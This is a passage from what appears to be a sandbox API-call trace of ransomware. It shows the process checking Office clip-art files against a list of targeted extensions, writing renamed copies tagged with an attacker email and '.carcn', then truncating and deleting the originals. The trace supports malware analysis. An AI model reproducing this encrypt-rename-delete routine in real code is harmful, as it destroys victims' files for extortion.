Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0271.159] lstrlenW (lpString=".1cd") returned 4 [0271.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0271.159] lstrlenW (lpString=".jpg") returned 4 [0271.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0271.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0271.160] lstrlenW (lpString=".doc") returned 4 [0271.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.160] lstrlenW (lpString=".docx") returned 5 [0271.160] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.160] lstrlenW (lpString=".pdf") returned 4 [0271.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.160] lstrlenW (lpString=".xls") returned 4 [0271.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.160] lstrlenW (lpString=".xlsx") returned 5 [0271.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.160] lstrlenW (lpString=".ppt") returned 4 [0271.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0271.160] lstrlenW (lpString=".zip") returned 4 [0271.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.160] lstrlenW (lpString=".rar") returned 4 [0271.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.160] lstrlenW (lpString=".bz2") returned 4 [0271.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.160] lstrlenW (lpString=".7z") returned 3 [0271.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0271.160] lstrlenW (lpString=".dbf") returned 4 [0271.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0271.160] lstrlenW (lpString=".1cd") returned 4 [0271.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0271.161] lstrlenW (lpString=".jpg") returned 4 [0271.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.161] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.161] lstrlenW (lpString="DD00256_.WMF") returned 12 [0271.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.162] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2832) returned 1 [0271.162] CloseHandle (hObject=0x370) returned 1 [0271.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220 [0271.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.162] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.162] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0271.163] GetLastError () returned 0x0 [0271.163] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xb10, lpOverlapped=0x0) returned 1 [0271.194] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xb20, lpOverlapped=0x0) returned 1 [0271.195] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.195] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.195] SetEndOfFile (hFile=0x544) returned 1 [0271.196] CloseHandle (hObject=0x544) returned 1 [0271.196] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.196] SetEndOfFile (hFile=0x370) returned 1 [0271.288] CloseHandle (hObject=0x370) returned 1 [0271.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0271.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0271.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0271.289] lstrlenW (lpString=".doc") returned 4 [0271.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.289] lstrlenW (lpString=".docx") returned 5 [0271.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.289] lstrlenW (lpString=".pdf") returned 4 [0271.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.289] lstrlenW (lpString=".xls") returned 4 [0271.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.290] lstrlenW (lpString=".xlsx") returned 5 [0271.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.290] lstrlenW (lpString=".ppt") returned 4 [0271.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0271.290] lstrlenW (lpString=".zip") returned 4 [0271.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.290] lstrlenW (lpString=".rar") returned 4 [0271.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.290] lstrlenW (lpString=".bz2") returned 4 [0271.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.290] lstrlenW (lpString=".7z") returned 3 [0271.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0271.290] lstrlenW (lpString=".dbf") returned 4 [0271.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0271.290] lstrlenW (lpString=".1cd") returned 4 [0271.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0271.290] lstrlenW (lpString=".jpg") returned 4 [0271.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0271.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0271.290] lstrlenW (lpString=".doc") returned 4 [0271.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.291] lstrlenW (lpString=".docx") returned 5 [0271.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.291] lstrlenW (lpString=".pdf") returned 4 [0271.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.291] lstrlenW (lpString=".xls") returned 4 [0271.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.291] lstrlenW (lpString=".xlsx") returned 5 [0271.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.291] lstrlenW (lpString=".ppt") returned 4 [0271.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0271.291] lstrlenW (lpString=".zip") returned 4 [0271.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.291] lstrlenW (lpString=".rar") returned 4 [0271.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.291] lstrlenW (lpString=".bz2") returned 4 [0271.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.291] lstrlenW (lpString=".7z") returned 3 [0271.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0271.291] lstrlenW (lpString=".dbf") returned 4 [0271.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0271.291] lstrlenW (lpString=".1cd") returned 4 [0271.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0271.292] lstrlenW (lpString=".jpg") returned 4 [0271.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.292] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.292] lstrlenW (lpString="DD00372_.WMF") returned 12 [0271.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.293] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=792) returned 1 [0271.293] CloseHandle (hObject=0x370) returned 1 [0271.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220 [0271.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.294] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.294] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0271.295] GetLastError () returned 0x0 [0271.295] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x318, lpOverlapped=0x0) returned 1 [0271.302] WriteFile (in: hFile=0x524, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x320, lpOverlapped=0x0) returned 1 [0271.303] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.303] WriteFile (in: hFile=0x524, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.303] SetEndOfFile (hFile=0x524) returned 1 [0271.304] CloseHandle (hObject=0x524) returned 1 [0271.304] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.304] SetEndOfFile (hFile=0x370) returned 1 [0271.307] CloseHandle (hObject=0x370) returned 1 [0271.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0271.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0271.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0271.308] lstrlenW (lpString=".doc") returned 4 [0271.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.308] lstrlenW (lpString=".docx") returned 5 [0271.308] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.308] lstrlenW (lpString=".pdf") returned 4 [0271.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.308] lstrlenW (lpString=".xls") returned 4 [0271.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.308] lstrlenW (lpString=".xlsx") returned 5 [0271.308] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.308] lstrlenW (lpString=".ppt") returned 4 [0271.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0271.308] lstrlenW (lpString=".zip") returned 4 [0271.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.308] lstrlenW (lpString=".rar") returned 4 [0271.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.309] lstrlenW (lpString=".bz2") returned 4 [0271.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.309] lstrlenW (lpString=".7z") returned 3 [0271.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0271.309] lstrlenW (lpString=".dbf") returned 4 [0271.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0271.309] lstrlenW (lpString=".1cd") returned 4 [0271.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0271.309] lstrlenW (lpString=".jpg") returned 4 [0271.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0271.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0271.309] lstrlenW (lpString=".doc") returned 4 [0271.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.309] lstrlenW (lpString=".docx") returned 5 [0271.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.309] lstrlenW (lpString=".pdf") returned 4 [0271.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.310] lstrlenW (lpString=".xls") returned 4 [0271.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.310] lstrlenW (lpString=".xlsx") returned 5 [0271.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.310] lstrlenW (lpString=".ppt") returned 4 [0271.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0271.310] lstrlenW (lpString=".zip") returned 4 [0271.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.310] lstrlenW (lpString=".rar") returned 4 [0271.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.310] lstrlenW (lpString=".bz2") returned 4 [0271.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.310] lstrlenW (lpString=".7z") returned 3 [0271.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0271.310] lstrlenW (lpString=".dbf") returned 4 [0271.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0271.310] lstrlenW (lpString=".1cd") returned 4 [0271.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0271.310] lstrlenW (lpString=".jpg") returned 4 [0271.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.311] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.311] lstrlenW (lpString="DD00405_.WMF") returned 12 [0271.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.311] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=17584) returned 1 [0271.312] CloseHandle (hObject=0x370) returned 1 [0271.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220 [0271.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.312] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.312] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0271.313] GetLastError () returned 0x0 [0271.313] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x44b0, lpOverlapped=0x0) returned 1 [0271.351] WriteFile (in: hFile=0x524, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x44c0, lpOverlapped=0x0) returned 1 [0271.353] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.353] WriteFile (in: hFile=0x524, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.353] SetEndOfFile (hFile=0x524) returned 1 [0271.353] CloseHandle (hObject=0x524) returned 1 [0271.353] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.353] SetEndOfFile (hFile=0x370) returned 1 [0271.358] CloseHandle (hObject=0x370) returned 1 [0271.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0271.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0271.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0271.359] lstrlenW (lpString=".doc") returned 4 [0271.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.359] lstrlenW (lpString=".docx") returned 5 [0271.359] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.359] lstrlenW (lpString=".pdf") returned 4 [0271.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.359] lstrlenW (lpString=".xls") returned 4 [0271.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.359] lstrlenW (lpString=".xlsx") returned 5 [0271.360] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.360] lstrlenW (lpString=".ppt") returned 4 [0271.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0271.360] lstrlenW (lpString=".zip") returned 4 [0271.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.360] lstrlenW (lpString=".rar") returned 4 [0271.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.360] lstrlenW (lpString=".bz2") returned 4 [0271.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.360] lstrlenW (lpString=".7z") returned 3 [0271.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0271.360] lstrlenW (lpString=".dbf") returned 4 [0271.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0271.360] lstrlenW (lpString=".1cd") returned 4 [0271.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0271.360] lstrlenW (lpString=".jpg") returned 4 [0271.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 